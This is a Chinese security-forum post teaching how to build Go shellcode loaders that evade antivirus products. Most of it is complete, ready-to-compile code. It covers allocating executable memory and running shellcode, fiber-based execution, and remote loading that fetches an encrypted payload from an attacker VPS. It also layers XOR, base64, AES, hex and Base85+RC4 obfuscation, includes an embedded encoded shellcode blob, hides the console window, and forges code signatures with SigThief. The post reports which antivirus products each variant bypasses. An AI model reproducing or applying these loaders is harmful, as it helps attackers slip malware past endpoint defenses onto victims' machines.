安全矩阵

 找回密码
 立即注册
搜索
查看: 500|回复: 0

免杀实操|go shellcode加载 bypass AV

[复制链接]

102

主题

102

帖子

330

积分

中级会员

Rank: 3Rank: 3

积分
330
发表于 2023-5-16 21:38:34 | 显示全部楼层 |阅读模式
moonsec 2023-05-16 14:30 发表于广东
go shellcode加载 bypass AV
在攻防实战中免杀技术尤为重要,站在巨人的肩膀上学习go shellcode免杀加载的方法

相关代码打包至github https://github.com/Pizz33/GobypassAV-shellcode
免杀效果预览:

编写一个加载器需要围绕3个基本的功能实现:

申请内存空间:VirtualAlloc、VirtualAlloc2、VirtualAllocEx

导入内存:RtlCopyMemory、RtlCopyBytes、RtlMoveMemory

调用执行:创建线程的方式执行、用syscall调用执行、内嵌C代码执行

内存空间申请
VirtualAlloc
  1. VirtualAlloc:在调用进程的虚拟地址空间中保留、提交或更改页面区域的状态(分配的内存初始化为零)
  2. SWAPMem, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40)

  3. //0:开始内存地址
  4. //uintptr(len(shellcode)):申请内存长度
  5. //0x1000|0x2000:属性可读可写可执行
  6. //0x40:仅保留分配信息及使用时对内存进行清零
复制代码
VirtualAlloc2
  1. VirtualAlloc2(进程注入):在指定进程的虚拟地址空间内保留、提交或更改内存区域的状态。该函数将其分配的内存初始化为零
  2. SWAPMem, _, _ := VirtualAlloc2.Call(pHandle, 0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40)

  3. //pHandle:进程的句柄。该函数在该进程的虚拟地址空间内分配内存
  4. //0:开始内存地址
  5. //uintptr(len(shellcode)):申请内存长度
  6. //0x1000|0x2000:属性可读可写可执行
  7. //0x40:仅保留分配信息及使用时对内存进行清零
复制代码
VirtualAllocEx
  1. VirtualAllocEx(进程注入):在指定进程的虚拟地址空间内保留、提交或更改内存区域的状态。该函数将其分配的内存初始化为零
  2. SWAPMem, _, _ := VirtualAllocEx.Call(pHandle, 0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40)
  3.    
  4. //pHandle:进程的句柄。该函数在该进程的虚拟地址空间内分配内存
  5. //0:开始内存地址
  6. //uintptr(len(shellcode)):申请内存长度
  7. //0x1000|0x2000:属性可读可写可执行
  8. //0x40:仅保留分配信息及使用时对内存进行清零
复制代码
将shellcode导入内存
RtlCopyMemory
  1. RtlCopyMemory:将源内存块的内容复制到目标内存块(新版)
  2. _, _, _ = RtlCopyMemory.Call(SWAPMem, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))

  3. //SWAPMem:指向要将字节复制到的目标内存块的指针,指申请内存空间返回地址
  4. //uintptr(unsafe.Pointer(&shellcode[0])):指向要从中复制字节的源内存块的指针,指shellcode的首地址
  5. //uintptr(len(shellcode)):写入内存长度
复制代码
RtlCopyBytes
  1. RtlCopyBytes:将源内存块的内容复制到目标内存块(旧版)
  2. _, _, _ = RtlCopyBytes.Call(SWAPMem, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))

  3. //SWAPMem:指向要将字节复制到的目标内存块的指针,指申请内存空间返回地址
  4. //uintptr(unsafe.Pointer(&shellcode[0])):指向要从中复制字节的源内存块的指针,指shellcode的首地址
  5. //uintptr(len(shellcode)):写入内存长度
复制代码
RtlMoveMemory
  1. RtlMoveMemory:将源内存块的内容复制到目标内存块(旧版)
  2. _, _, _ = RtlMoveMemory.Call(SWAPMem, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
  3.    
  4. //SWAPMem:指向要将字节复制到的目标内存块的指针,指申请内存空间返回地址
  5. //uintptr(unsafe.Pointer(&shellcode[0])):指向要从中复制字节的源内存块的指针,指shellcode的首地址
  6. //uintptr(len(shellcode)):写入内存长度
复制代码
shellcode调用执行
创建线程的方式执行
  1. hThread, _, _ := CreateThread.Call(0, 0, SWAPMem, 0, 0, 0)
  2. _, _, _ = WaitForSingleObject.Call(hThread, uintptr(0xffff))
复制代码
golang直接用syscall调用执行
  1. syscall.SyscallN(SWAPMem, 0, 0, 0, 0)
复制代码
内嵌C代码执行
  1. /*
  2. void run(char* shellcode)
  3. {
  4.      ((void(*)(void))shellcode)();
  5. }
  6. */import "C"
  7.    C.run((*C.char)(unsafe.Pointer(SWAPMem)))
复制代码
重要Windows API
具体接口和写法看官方文档

https://learn.microsoft.com/en-u ... oryapi-virtualalloc


VirtualAlloc

VirtualAlloc是一个Windows api函数,该函数的功能是在调用进程的虚地址空间,预定或者提交一部分页,下面是官方给出的api参考文档。

调用这个api我们需要传四个值进去,分别是 分配哪块地址,分配内存空间的大小,分配内存所在页的属性,以及该内存页的保护属性
  1. LPVOID VirtualAlloc{
  2. LPVOID lpAddress,
  3. DWORD dwSize,
  4. DWORD flAllocationType,
  5. DWORD flProtect
  6. };
复制代码
第一个参数指定在哪分配内存,是一个指针,设置为NULL就由系统决定

第二个参数表示需要申请的内存大小

第三个参数flAllocationType 这个参数可以设置成 MEM_RESERVE|MEM_COMMIT 代表先保留内存然后再去提交

第四个参数flProtect 我们设置成 PAGE_EXECUTE_READWRITE 代表当前内存页可读可写可执行,可以在golang.org/x/sys/windows这个包下面拿到
RtlMoveMemory
RtlMoveMemory 函数,这个函数我们主要用来从指定内存中复制内存至另一内存里,将shellcode复制到我们开辟出来的内存中。
  1. VOID RtlMoveMemory(
  2. VOID UNALIGNED *Destination,
  3. const VOID UNALIGNED *Source,
  4. SIZE_T Length
  5. );
复制代码
调用这个api我们需要传三个值进去分别是 需要移动目的地址指针,需要复制的内存地址指针,需要复制的字节数


VirtualProtect
  1. BOOL VirtualProtect(
  2. [in]  LPVOID lpAddress,
  3. [in]  SIZE_T dwSize,
  4. [in]  DWORD  flNewProtect,
  5. [out] PDWORD lpflOldProtect
  6. );
复制代码
前两个参数与VirtualAlloc一致,第三个参数和VirtualAlloc第四个参数一致
加载方式
基础加载
  1. package main

  2. import (
  3. "syscall"
  4. "unsafe"
  5. )

  6. var (
  7. kernel32      = syscall.NewLazyDLL("kernel32.dll")
  8. ntdll         = syscall.MustLoadDLL("ntdll.dll")
  9. VirtualAlloc  = kernel32.NewProc("VirtualAlloc")
  10. RtlMoveMemory = ntdll.MustFindProc("RtlMoveMemory")
  11. )

  12. func main() {
  13. shellcode := []byte{0x11,0x22}
  14. //shellcode位置
  15.    
  16. addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40)
  17. //0:开始内存地址
  18. //uintptr(len(shellcode)):申请内存长度
  19. //0x1000|0x2000:属性可读可写可执行
  20. //0x40:仅保留分配信息及使用时对内存进行清零
  21.    
  22. RtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
  23. //SWAPMem:指向要将字节复制到的目标内存块的指针,指申请内存空间返回地址
  24. //uintptr(unsafe.Pointer(&shellcode[0])):指向要从中复制字节的源内存块的指针,指shellcode的首地址
  25. //uintptr(len(shellcode)):写入内存长度
  26.    
  27. syscall.Syscall(addr, 0, 0, 0, 0)
  28. //使用 syscall.Syscall() 函数调用存放在这个内存块里的 shellcode
  29. }
复制代码

纤程加载
  1. package main

  2. import (
  3. "github.com/JamesHovious/w32"
  4. "my_createFiber/winApi"
  5. "unsafe"
  6. )

  7. func main() {

  8. winApi.ProcConvertThreadToFiber()

  9. shellcode := []byte{}
  10. shellcodeAddr, _ := w32.VirtualAlloc(0, len(shellcode), w32.MEM_RESERVE|w32.MEM_COMMIT, w32.PAGE_READWRITE)
  11. winApi.ProcRtlCopyMemory(w32.PVOID(shellcodeAddr), w32.PVOID(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))

  12. var oldProtection w32.DWORD = 0
  13. w32.VirtualProtect(shellcodeAddr, len(shellcode), w32.PAGE_EXECUTE_READ, &oldProtection)

  14. fiberAddr := winApi.ProcCreateFiber(0, w32.PVOID(shellcodeAddr), w32.PVOID(unsafe.Pointer(nil)))

  15. winApi.ProcSwitchToFiber(w32.PVOID(fiberAddr))

  16. }
复制代码
因为默认shellcode特征太明显,落地直接秒

稍微进行一下异或处理,可bypass 360,但火绒落地秒,可能是检测到某些windows api特征
  1. package main

  2. import (
  3. "my_createFiber/winApi"
  4. "unsafe"

  5. "github.com/JamesHovious/w32"
  6. )

  7. func main() {

  8. winApi.ProcConvertThreadToFiber()

  9. shellcode := []byte{}
  10. shellcodeAddr, _ := w32.VirtualAlloc(0, len(shellcode), w32.MEM_RESERVE|w32.MEM_COMMIT, w32.PAGE_READWRITE)
  11. for i := 0; i < len(shellcode); i++ {
  12. shellcode[i] ^= 66
  13. }
  14. winApi.ProcRtlCopyMemory(w32.PVOID(shellcodeAddr), w32.PVOID(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
  15. var oldProtection w32.DWORD = 0
  16. w32.VirtualProtect(shellcodeAddr, len(shellcode), w32.PAGE_EXECUTE_READ, &oldProtection)

  17. fiberAddr := winApi.ProcCreateFiber(0, w32.PVOID(shellcodeAddr), w32.PVOID(unsafe.Pointer(nil)))

  18. winApi.ProcSwitchToFiber(w32.PVOID(fiberAddr))

  19. }
复制代码

远程加载
  1. package main

  2. import (
  3. "encoding/base64"
  4. "fmt"
  5. "os/exec"
  6. "syscall"
  7. "unsafe"

  8. "github.com/lxn/win"
  9. "golang.org/x/sys/windows"
  10. )

  11. var (
  12. get = exec.Command("cmd", "/c", "curl", "http://VPS地址")
  13. )

  14. func main() {
  15. // 通过 base64 和 XOR 解密 shellcode 内容
  16. win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
  17. encryptedShellcode, err := get.Output()
  18. if err != nil {
  19. fmt.Println("Error getting encrypted shellcode:", err)
  20. return
  21. }
  22. encryptedShellcodeStr := string(encryptedShellcode)
  23. decodedShellcode, err := base64.StdEncoding.DecodeString(encryptedShellcodeStr)
  24. if err != nil {
  25. fmt.Println("Error decoding shellcode:", err)
  26. return
  27. }
  28. for i := 0; i < len(decodedShellcode); i++ {
  29. decodedShellcode[i] ^= 0x77
  30. }

  31. // 获取 kernel32.dll 中的 VirtualAlloc 函数
  32. kernel32, _ := syscall.LoadDLL("kernel32.dll")
  33. VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

  34. // 分配内存并写入 shellcode 内容
  35. allocSize := uintptr(len(decodedShellcode))
  36. mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
  37. if mem == 0 {
  38. panic("VirtualAlloc failed")
  39. }
  40. buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
  41. copy(buffer, decodedShellcode)

  42. // 执行 shellcode
  43. syscall.Syscall(mem, 0, 0, 0, 0)
  44. }
复制代码

但是这个方式,火绒直接落地秒,360无感运行,当代码中含有这一段的时候直接就杀掉了,哪怕只是请求百度这种正常的域名
  1. var (
  2. get = exec.Command("cmd", "/c", "curl", "http://www.baidu.com")
  3. )
复制代码

那我们换一种方式,使用 Go 自带的 net/http 包来获取远程连接并读取远程地址中的内容,而不使用 exec
  1. func main() {
  2. resp, err := http.Get("http://VPS地址")
  3. if err != nil {
  4. fmt.Println("Error getting remote connection:", err)
  5. return
  6. }
  7. defer resp.Body.Close()

  8. body, err := ioutil.ReadAll(resp.Body)
  9. if err != nil {
  10. fmt.Println("Error reading from remote connection:", err)
  11. return
  12. }

  13. fmt.Println(string(body))
  14. }
复制代码
编译程序最终实现效果


常见的加密方式
AES加密
  1. func AesEcbEncrypt(data, key []byte) []byte {
  2.    cipher, _ := aes.NewCipher(generateAesKey(key))
  3.    length := (len(data) + aes.BlockSize) / aes.BlockSize
  4.    plain := make([]byte, length*aes.BlockSize)    copy(plain, data)
  5.    pad := byte(len(plain) - len(data))   
  6.    for i := len(data); i < len(plain); i++ {
  7.        plain[i] = pad
  8.   }
  9.    encrypted := make([]byte, len(plain))   
  10.    for bs, be := 0, cipher.BlockSize();
  11.    bs <= len(data); bs, be = bs+cipher.BlockSize(), be+cipher.BlockSize() {
  12.        cipher.Encrypt(encrypted[bs:be], plain[bs:be])
  13.   }   
  14.    return encrypted
  15. }
复制代码
hex加密
首先对payload进行hex处理
  1. package main

  2. import (
  3.         "encoding/hex"
  4.         "fmt"
  5.         "io/ioutil"
  6.         "os"
  7.         "strings"
  8. )

  9. func main() {
  10.         filename := os.Args[1]
  11.         data, _ := ioutil.ReadFile(filename)
  12.         ncode := hex.EncodeToString(data)
  13.         ncode = strings.Replace(ncode, "\n", "", -1)
  14.         fmt.Println("code:", ncode)
  15. }
复制代码
处理后的hex字符串填入下面,编译运行
  1. package main

  2. import (
  3. "encoding/hex"
  4. "fmt"
  5. "golang.org/x/sys/windows"
  6. "log"
  7. "syscall"
  8. "unsafe"
  9. )

  10. func main() {
  11. // 从文件中读取hex编码的字符串
  12. encodedShellcode := ""
  13. decodedShellcode, err := hex.DecodeString(encodedShellcode)
  14. if err != nil {
  15. log.Fatalf("Failed to decode shellcode: %v", err)
  16. }

  17. // 申请可读可写可执行的内存空间
  18. addr, err := windows.VirtualAlloc(
  19. 0,
  20. uintptr(len(decodedShellcode)),
  21. windows.MEM_COMMIT|windows.MEM_RESERVE,
  22. windows.PAGE_EXECUTE_READWRITE,
  23. )
  24. if err != nil {
  25. log.Fatalf("Failed to allocate memory: %v", err)
  26. }

  27. // 将shellcode拷贝到申请的内存空间中
  28. copy((*[1 << 30]byte)(unsafe.Pointer(addr))[:len(decodedShellcode)], decodedShellcode)

  29. // 执行shellcode
  30. var oldProtect uint32
  31. err = windows.VirtualProtect(
  32. addr,
  33. uintptr(len(decodedShellcode)),
  34. windows.PAGE_EXECUTE_READ,
  35. &oldProtect,
  36. )
  37. if err != nil {
  38. log.Fatalf("Failed to change memory protection: %v", err)
  39. }

  40. ret, _, err := syscall.Syscall(addr, 0, 0, 0, 0)
  41. if err.Error() != "The operation completed successfully." {
  42. log.Fatalf("Failed to execute shellcode: %v", err)
  43. }
  44. fmt.Printf("Shellcode executed successfully. Return value: %d\n", ret)
  45. }
复制代码
XOR+base64加密
先使用python脚本进行处理 payload.c 文件

  1. import base64

  2. originalShellcode = b"\xfc\xe8\x89\x00"
  3. encryptedShellcode = bytes([byte ^ 0xFF for byte in originalShellcode])
  4. encodedShellcode = base64.b64encode(encryptedShellcode).decode('utf-8')

  5. print(encodedShellcode)
复制代码

输出的内容填入下面位置进行编译
  1. package main

  2. import (
  3. "encoding/base64"
  4. "syscall"
  5. "unsafe"

  6. "golang.org/x/sys/windows"
  7. )

  8. func main() {
  9. // 通过 base64 和 XOR 解密 shellcode 内容
  10. encryptedShellcode := "A7d8Gw8XN////76uvq+trqm3zi2at3Stn7d0ree3dK3ft3SNr7fwSLW1ss42t84/U8Oeg/3T374+NvK+/j4dEq2+rrd0rd90vcO3/i+Zfofn9P2KjXR/d////7d6P4uYt/4vr3S357t0v9+2/i8cqbcANr50y3e3/imyzja3zj9Tvj428r7+Pscfig6z/LPb97rGLoonp7t0v9u2/i+ZvnTzt7t0v+O2/i++dPt3t/4vvqe+p6Gmpb6nvqa+pbd8E9++rQAfp76mpbd07RawAAAAopX/tkGIlpGWkZqL/76ptnYZs3YOvkWziNn4ACq3zja3zi2yzj+yzja+r76vvkXFqYZYACoWbP///6W3dj6+R0T+//+yzja+rr6ulfy+rr5FqHZgOQAqFIakt3Y+t84ttnYnss42rZf/zT97ra2+RRSq0cQAKrd2Obd8PK+V9aC3dg5F4P///5X/l3/M//+2dh++Rvv///++RYq5YXkAKrd2Drd2JbY4PwAAAACyzjatrb5F0vnnhAAqej/wemL+//+3ADDwe3P+//8UTBYb/v//F30AAADQjJqRjJCNjNKSlpHRlYz/c+3E0xVwtP+ApVnzO+p1jev92qT3Uha95ujzW9R0pB+T1tLqz3M7T4bojcRBeYZAxqvqVklSBew8vF37KQhZaTk57QytHP39eolpGbkIiM37Gr387P0c/E36iWkcnLxN+HycvW376Pj5OaqJqdtJaL0MrMyNHMyd/XtLersrPT35OWlJrfuJqclJDW37yXjZCSmtDGz9HP0cvLzM/Rzc7N36yemZ6NltDKzMjRzMny9f9J1nD115WW/zOlre6c8XRKvTPzSFlvBWQ7Xe3Z2n9HRaMWsEXVAmq35RIGhR/5RHkjgDZQ0XJmnmx4PYSHoWumxG2gjD7itHpCnmjtxTIkhp4Bn0FopivbLA9HWPRUa4OX1YxFjr0akpRpTWBk9cfKK+mLZELu7izwC1MyRZb/5Fhlm8hjll2IsYujj370H4XyT1gnmP++QQ9KXakAKrfONkX//7//vkf/7///vka/////vkWnW6waACq3bKyst3YYt3YOt3Ylvkf/3///tnYGvkXtaXYdACq3fDvfej+LSZl0+Lf+PHo/iiinp6e3+v////+vPBeAAgAAjJqNiZacmtKUjY2QkJ6Ml9LOzM/IyM/Px87H0YyX0Z6PlpiI0YuakZyakYucjNGckJL/+goe/w=="
  11. decodedShellcode, _ := base64.StdEncoding.DecodeString(encryptedShellcode)
  12. for i := 0; i < len(decodedShellcode); i++ {
  13. decodedShellcode[i] ^= 0xFF
  14. }

  15. // 获取 kernel32.dll 中的 VirtualAlloc 函数
  16. kernel32, _ := syscall.LoadDLL("kernel32.dll")
  17. VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

  18. // 分配内存并写入 shellcode 内容
  19. allocSize := uintptr(len(decodedShellcode))
  20. mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
  21. if mem == 0 {
  22. panic("VirtualAlloc failed")
  23. }
  24. buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
  25. copy(buffer, decodedShellcode)

  26. // 执行 shellcode
  27. syscall.Syscall(mem, 0, 0, 0, 0)
  28. }
复制代码
可以看到免杀性已经很不错了,常规三件套都能过




Base85+XOR+RC4
  1. package main

  2. import (
  3. "crypto/rc4"
  4. "encoding/hex"
  5. "fmt"

  6. "github.com/eknkc/basex"
  7. )

  8. func main() {
  9. key := []byte("demaxiya")                                                                                                
  10. message := "\xfc\x48\x83" // 原始消息

  11. // XOR 操作
  12. xordMessage := make([]byte, len(message))
  13. for i := 0; i < len(message); i++ {
  14. xordMessage[i] = message[i] ^ 0xff
  15. }

  16. // RC4 加密
  17. cipher, _ := rc4.NewCipher(key)
  18. rc4Message := make([]byte, len(xordMessage))
  19. cipher.XORKeyStream(rc4Message, xordMessage)

  20. // 转为十六进制
  21. hexCiphertext := make([]byte, hex.EncodedLen(len(rc4Message)))
  22. n := hex.Encode(hexCiphertext, rc4Message)
  23. hexCiphertext = hexCiphertext[:n]

  24. // Base85 编码
  25. base85, _ := basex.NewEncoding("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~")
  26. encodedMessage := base85.Encode(hexCiphertext)

  27. fmt.Println(encodedMessage)
  28. }
复制代码
把经过 Base85 编码的密文解码并转换成 RC4 密文,再使用 RC4 解密,最后进行 XOR 解密以得到原始消息
  1. package main

  2. import (
  3. "crypto/rc4"
  4. "encoding/hex"
  5. "syscall"
  6. "unsafe"

  7. "github.com/eknkc/basex"
  8. "github.com/lxn/win"
  9. "golang.org/x/sys/windows"
  10. )

  11. func main() {
  12. win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
  13. key := []byte("demaxiya")                                                                                                  
  14. encodedMessage := "1m>R;_Qw{V848K~V>8M7Q+ES##)Q;K5aVkstg9CWSCt6f?FWpTo`M(QMl`QjG86)Jb29M(8FZ6gdafG0X};3`AtC^b#yXG7DCSB82#)w{&6&%>P}l7?(@inOmb2Ol;bP4TVAZ%->Rm5=>vbi>3OSIf)y1%(WXV0#H^jxnZlm-I@OgE7&5Q&W#mJ9r@7m(i2ur<4rcSw*`Gth(QaquAf39>S>A2eC$GnV6&tIQ8+2@{bAKYynp}XQ}"
  15.    // 编码后的消息

  16. // Base85 解码
  17. base85, _ := basex.NewEncoding("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~")
  18. hexCiphertext, _ := base85.Decode(encodedMessage)

  19. // 转为二进制
  20. rc4Message := make([]byte, hex.DecodedLen(len(hexCiphertext)))
  21. n, _ := hex.Decode(rc4Message, hexCiphertext)
  22. rc4Message = rc4Message[:n]

  23. // RC4 解密
  24. cipher, _ := rc4.NewCipher(key)
  25. xordMessage := make([]byte, len(rc4Message))
  26. cipher.XORKeyStream(xordMessage, rc4Message)

  27. // XOR 操作
  28. message := make([]byte, len(xordMessage))
  29. for i := 0; i < len(xordMessage); i++ {
  30. message[i] = xordMessage[i] ^ 0xff
  31. }

  32. kernel32, _ := syscall.LoadDLL("kernel32.dll")
  33. VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

  34. // 分配内存并写入 shellcode 内容
  35. allocSize := uintptr(len(message))
  36. mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
  37. if mem == 0 {
  38. panic("VirtualAlloc failed")
  39. }
  40. buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
  41. copy(buffer, message)

  42. // 执行 shellcode
  43. syscall.Syscall(mem, 0, 0, 0, 0)
  44. }
复制代码



go编译参数
go编译参数免杀影响
参数 参数说明 免杀影响 备注
-race 竞态检测编译         很大 加了race参数,文件更大比原始的还大,曾经不错,但如今效果很差
-ldflags '-s -w'         去除编译信息 几乎没有         常用的编译命令,减小体积但是会有黑框
-ldflags '-H windowsgui'         隐藏窗口         一般 常用编译命令,免杀效果一般,减少文件体积+隐藏窗口
隐藏黑框
隐藏黑框添加代码实现,并使用go build -ldflags="-s -w"进行编译,效果最好
  1. package main

  2. import "github.com/gonutz/ide/w32"

  3. func ShowConsoleAsync(commandShow uintptr) {
  4. console := w32.GetConsoleWindow()
  5. if console != 0 {
  6. _, consoleProcID := w32.GetWindowThreadProcessId(console)
  7. if w32.GetCurrentProcessId() == consoleProcID {
  8. w32.ShowWindowAsync(console, commandShow)
  9. }
  10. }
  11. }

  12. func main() {
  13. ShowConsoleAsync(w32.SW_HIDE)
  14. }
复制代码
  1. package main

  2. import "github.com/lxn/win"

  3. func main(){
  4. win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
  5. }
复制代码
garble混淆编译
之前免杀性好,现在基本都被杀软拦截,不推荐使用,增加查杀率
  1. garble -tiny -literals -seed=random build -ldflags="-w -s -H windowsgui" -race go-sc.go
复制代码
  1. 参数解释:
  2. garble(混淆库):
  3. -tiny                   删除额外信息
  4. -literals               混淆文字
  5. -seed=random   base64编码的随机种子
复制代码
资源修改
为什么需要添加资源?因为像一些杀软如果碰到陌生的程序,即便是无害化程序也会列入可疑项,添加资源可增加程序可信度,降低熵值

伪造签名
https://github.com/secretsquirrel/SigThief

python sigthief.py -i 360Safe.exe -t notepad.exe -o tes.exe

  1. -i 为签名文件
  2. -t 为需要伪造的文件
  3. -o 为输出文件
复制代码

https://www.trustasia.com/solution/sign-tools

更换图标
Resource hacker


参考链接:
https://learn.microsoft.com/en-u ... oryapi-virtualalloc

https://github.com/7BitsTeam/EDR-Bypass-demo

https://www.yuque.com/aufeng/aufeng_good/aq09p0#yNorm

https://mp.weixin.qq.com/s/xiFbSE6goKFqLAlyACi83A

https://github.com/timwhitez/Doge-Loader

https://github.com/TideSec/GoBypassAV

https://www.crisprx.top/archives/515

https://github.com/Ne0nd0g/go-shellcode

https://github.com/piiperxyz/AniYa

https://github.com/safe6Sec/GolangBypassAV





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 22:53 , Processed in 0.016363 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表